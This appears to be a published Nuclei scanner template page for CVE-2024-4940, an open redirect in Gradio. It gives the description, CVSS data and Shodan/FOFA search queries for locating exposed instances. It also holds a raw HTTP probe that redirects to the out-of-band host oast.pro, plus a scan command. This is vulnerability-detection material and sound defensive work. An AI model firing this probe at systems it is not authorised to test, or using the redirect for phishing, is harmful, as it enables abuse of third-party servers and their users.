Gradio - Open Redirect

ID: CVE-2024-4940

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2024,redirect,oast,gradio

Description

An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.

YAML Source

id: CVE-2024-4940

info:
  name: Gradio - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
  reference:
    - https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-4940
    cwe-id: CWE-601
    epss-score: 0.00061
    epss-percentile: 0.26739
  metadata:
    verified: true
    max-request: 1
    vendor: gradio_project
    product: gradio
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: cve,cve2024,redirect,oast,gradio

http:
  - raw:
      - |
        GET /file=http://oast.pro/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header

      - type: status
        status:
          - 302
# digest: 4a0a004730450220056bf88e3a5bc00ac795a6e10b38fb4e529a170c83fa6d936d69dff347d1c6040221008d4e914d6835c611c8f1f471761e80225d60f1a59d560977b4da50ac37d93ec4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-4940.yaml"

View on Github